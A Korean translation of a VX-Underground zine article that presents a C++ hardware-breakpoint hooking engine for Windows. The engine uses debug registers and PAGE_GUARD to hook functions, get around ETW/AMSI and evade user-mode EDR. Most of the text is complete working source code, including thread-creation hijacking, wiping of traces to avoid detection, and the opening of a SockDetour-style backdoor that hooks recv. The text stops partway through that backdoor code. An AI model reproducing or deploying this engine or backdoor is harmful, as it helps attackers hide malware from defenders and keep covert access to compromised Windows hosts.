
디버그 레지스터를 사용하여 함수를 후킹하고 ETW/AMSI를 우회하며 사용자 영역 EDR 모니터링을 회피하는 Windows용 하드웨어 브레이크포인트 후킹 엔진입니다.
이 글은 원래 VX-Underground Black Mass Halloween Edition 2022를 위한 것입니다.
후킹 엔진:
디버그 레지스터를 활용하는 범용 x64 사용자 영역 회피 기법:
사용 가능한 ETW/AMSI 후킹 예제
우리의 임무는 함수를 손쉽게 후킹하고 필요에 따라 코드 흐름을 우회시킨 다음, 마지막으로 더 이상 필요하지 않게 되면 후크를 제거하는 것입니다.
IAT 후크를 적용하는 것은 고려할 수 없습니다. 항상 호출되는 것이 아니므로 신뢰할 수 없기 때문입니다. 인라인 후킹은 강력한 기법이지만, 코드가 있는 메모리를 패치해야 합니다. 이 역시 강력한 기법이지만, PE-Sieve나 Moneta 같은 도구는 메모리 상주 복사본과 디스크의 모듈 복사본 간의 차이를 구별하여 이를 플래그할 수 있습니다. 그래서 이 작업에는 디버그 레지스터(Debug Registers)라는 완벽한 도구가 남습니다. 하지만 악성코드 작성자들에게는 꽤 저평가되어 있습니다!
Windows에서 높은 수준으로 보면, 프로세스는 본질적으로 스레드의 캡슐화이며, 각 스레드는 레지스터와 스택 등 스레드의 상태인 컨텍스트를 유지합니다. 디버그 레지스터는 권한이 필요한 리소스이며, 설정 역시 마찬가지입니다. 그러나 Windows는 커널이 우리를 대신해 권한 있는 작업을 수행하도록 요청할 수 있는 다양한 syscall을 노출하며, 여기에는 우리에게 완벽한 디버그 레지스터 설정도 포함됩니다. NtSetThreadContext와 NtGetThreadContext는 필요한 권한으로 핸들을 열 수 있는 모든 스레드 컨텍스트를 수정할 수 있는 기능을 노출합니다. Win32 API를 사용하여 디버그 레지스터를 설정하는 방법을 볼 수 있습니다.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
디버그 레지스터는 Dr0부터 Dr7까지 총 8개가 있습니다. 우리가 관심을 갖는 것은
중단하려는 주소를 저장하는 Dr0-3뿐이며, Dr6은 디버그
상태일 뿐입니다. 가장 중요한 것은 Dr7로, 프로세서가 예외를 발생시키는 중단점 조건을
설명합니다. 디버그 레지스터를 사용할 때는 다양한 제한 사항이 있습니다.
예를 들어 개수 제한(4개)과 모든 스레드/새로 생성된 스레드에 적용되지 않는 점 등입니다.
이러한 제한 사항 중 일부를 해결하는 방법을 살펴보겠습니다!
예외가 발생하면, 우리가 프로그램에서 정의하고 등록할 수 있는 예외 처리기를 찾습니다 [1].
정의된 예외 처리기에서는 해당 중단점이 트리거될 때 관련 코드(다른 코드 흐름)가
실행되기를 원합니다.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
이것은 "callback" 람다 함수와 주소 사이의 매핑을 설정하는 생성자 함수에 의해 구현됩니다. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
우리는 모든 프로세스 스레드를 반복하면서 각각에 대해 컨텍스트에 해당하는 조정을 설정해야 합니다. 이는 ToolHelp32 헬퍼 함수들(CreateToolhelp32Snapshot, Thread32Next)을 사용하여 달성할 수 있습니다. 특별히 화려한 방법은 아니지만, 모든 스레드에 연결하지 못한다는 제약 중 하나를 해결해 줍니다.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
하드웨어 브레이크포인트가 설정되어 있는 것은 악의적인 활동을 나타낼 수 있으므로 의심스러운 것으로 볼 수 있습니다(제가 아는 한 어떤 EDR도 이를 적극적으로 스캔하지 않지만). 이는 잠재적 IoC로 우리에게 사용될 수 있으므로 사용이 끝난 후에는 그 흔적을 제거해야 합니다.
우리는 이를 deconstructor 함수에서 구현할 수 있습니다!! 이 함수는 모든 스레드를 반복하며 레지스터 (&context.Dr0)[pos]가 우리가 처음에 하드웨어 브레이크포인트를 설정한 주소를 가리키는지 확인합니다(pos는 인덱스 % 4일 뿐이며 context.Dr0-Dr3에 접근할 수 있게 해줍니다). 또한 Dr7 레지스터에 필요한 조건을 제거할 수 있습니다. 매핑 항목을 제거하는 것도 잊지 말아야 합니다. 따라서 우리의 하드웨어 브레이크포인트는 필요한 시간 동안만 존재하게 됩니다!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
하드웨어 중단점의 예로는 Sleep이 있는데, 여기서는 단순히 sleep 지속 시간을 0으로 대체합니다.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
x64 Windows 4-레지스터 빠른 호출 규약[1] 때문에 RCX를 설정해야 한다는 것을 알고 있습니다. 생성자의 첫 번째 인자는 중단할 주소이고, 두 번째는 저장할 Dr0-3 레지스터입니다(한 번에 중단할 수 있는 주소는 4개뿐입니다). 세 번째는 PEXCEPTION_POINTERS를 참조로 캡처하는 람다 함수이며, 이는 예외 처리기가 수신할 정보입니다. 이를 통해 어떤 중단점이 트리거되었는지에 따라 프로그램의 흐름을 다르게 제어할 수 있습니다.
새 스레드가 생성되면, 새 스레드의 생성을 어떻게든 가로채지 않는 한 연결된 디버그 레지스터 세트를 상속하지 않습니다. 사용할 수 있는 멋진 트릭 하나는 실제 시작 주소를 캡처하고 새 스레드를 우회시켜 우리 자신의 스레드를 생성하게 하는 것입니다. 대부분의 새 스레드는 결국 NtCreateThreadEx를 호출하게 됩니다.```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
이 솔루션의 한 가지 제한 사항은 스레드의 호출 스택이 원래 스레드가 아닌 우리가 주입한 DLL의 HijackThread에서 시작된다는 점입니다! 또는 더 나은 솔루션은 NtCreateThreadEx를 직접 호출하되 중단된 상태로 시작한 다음 필요한 하드웨어 중단점을 설정하는 것입니다. 그런 다음 디버그 레지스터가 이 새 스레드에 설정된 상태로 중단된 스레드를 재개하여 실행을 복원합니다. 이는 디버그 레지스터 사용의 또 다른 제한 사항을 해결합니다.
중단점이 설정된 명령을 호출하면 무한 루프가 발생할 수 있습니다. 따라서 현재 RIP를 트리거하는 하드웨어 중단점을 일시적으로 비활성화합니다. 호출이 끝나면 다시 복원할 수 있습니다. 이렇게 하면 원래 함수를 (트램펄린처럼) 호출할 수 있습니다. 이 경우, RIP를 ret 가젯으로 지정하여 다른 syscall 명령을 실행하지 않고 반환할 수 있도록 해야 합니다.
5번째 매개변수부터는 0x8 바이트 간격으로 스택에 푸시된 것을 확인할 수 있습니다 [2]. 중단점을 트리거할 때 우리의 스택은 대략 다음과 같습니다.```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
C++로 작성된 사용할 수 있는 하드웨어 브레이크포인트 후킹 엔진을 공유합니다. 예시 하드웨어 브레이크포인트는 sleep 함수의 Dr0에 브레이크포인트를 설정하고, 첫 번째 값(RCX)을 0으로 설정하여 모든 sleep을 건너뜁니다. 이 브레이크포인트를 향후 모든 새 스레드에 설정하려면 Dr1을 사용하는 위 예시를 사용할 수 있습니다.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
앞서 논의했듯이 디버그 레지스터 세트를 유지하는 것은 좋지 않은 관행입니다. 따라서 디버그 레지스터 사용을 PAGE_GUARD 후크로 보완하여 디버그 레지스터 중 하나인 Dr1(NtCreateThreadEx에 사용됨)을 해제할 수 있습니다.
PAGE_GUARD는 본질적으로 예외를 발생시키는 일회성 메모리 보호입니다. 이는 시스템에 존재하는 할당 단위의 최저 수준 페이지에 적용됩니다(때로는 장애가 될 수 있습니다). PAGE_GUARD 후킹은 새로운 것이 아니지만, 이를 사용하여 일부 제약을 해결할 수 있습니다. 처음에는 PAGE_GUARD를 해당 주소에 적용하고, PAGE_GUARD_VIOLATION을 발생시켜 PAGE_GUARD를 트리거합니다.
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
특정 주소에서 트리거하도록 람다를 매핑하는 것과 동일한 개념을 적용할 수 있습니다. 현재 페이지에서 함수 명령어를 단일 단계로 실행하면서 PAGE_GUARD를 다시 적용합니다. 이는 분명히 상대적으로 느리지만 디버그 레지스터를 차지하지 않는다는 이점이 있습니다. 느리다는 주된 이유 때문에, 우리는 이를 우선적으로 사용하지 않기로 결정했습니다.```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
디버그 레지스터 후크를 새 스레드에 적용하려면, NtCreateThreadEx 후킹의 이전 예제를 복사하되 현재 스레드에 대한 HWBP를 비활성화하고 복원하는 루프만 제거하면 됩니다.
두 번째 코드 예제를 소개할 수 있는데, 여기서는 위에서 언급한 PAGE_GUARDs를 사용한 NtCreateThreadEx 후킹을 수행합니다. 이전과 마찬가지로, 디스트럭터 함수는 매핑의 항목을 제거하고 (설정된 경우) 보호를 제거합니다.```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context{ 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
ExceptionInfo->ContextRecord->Rax = status;
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
Sleep(1000000);
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
if (t) WaitForSingleObject(t, INFINITE);
}
if (handler) RemoveVectoredExceptionHandler(handler);
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
이론을 적용하여 다용도 하드웨어 브레이크포인트 후킹 엔진을 만든 후, 이전 예제에서 보여준 것처럼 디버그 레지스터와 PAGE_GUARD를 혼합하여 SockDetour [3]에서 영감을 받은 백도어를 C++ DLL로 구현해 보겠습니다. 이를 위해 recv 함수에 하드웨어 브레이크포인트를 설정하고 해당 람다에 필요한 로직을 작성합니다. 또한 NtCreateThreadEx에 PAGE_GUARD를 적용하고, 이전 기법인 스레드를 일시 중단 상태로 생성하여 올바른 디버그 레지스터를 설정하는 방법을 사용합니다.
PAGE_GUARD 후크는 본질적으로 느리지만, 서버 모델이 모든 요청에 대해 새 스레드를 생성하지 않는다면 이는 문제가 되지 않으며 성능 저하가 거의 눈에 띄지 않습니다. 대부분의 네트워크 서버 모델은 프로그램 시작 시 시작되고 초기화되는 스레드 풀을 유지합니다. 이러한 서버 모델에 대한 자세한 내용은 Microsoft가 GitHub [4]에서 다양한 예제를 제공합니다. IOCP 예제는 성능이 뛰어나고 확장 가능한 서버 모델이 어떤 모습인지 보여주는 훌륭한 예입니다.
백도어의 시작은 다음과 같이 보일 수 있습니다:
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
for (auto& i : ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
char verbuf[9]{ 0 };
int verbuflen{ 9 }, recvlen{ 0 };
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
verbuflen, MSG_PEEK);
BYTE TLS[] = { 0x17, 0x03, 0x03 };
if (recvlen >= 3) {
if ((memcmp(verbuf, TLS, 3) == 0))1
{
MSG_AUTH msg{ 0 };
// We'll peek like SockDetour as to not eat the message
recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
sizeof(MSG_AUTH), MSG_PEEK);
// Authenticate and proceed
}
}
// Set corresponding Dr
for (auto& i : ADDRESS_MAP) {
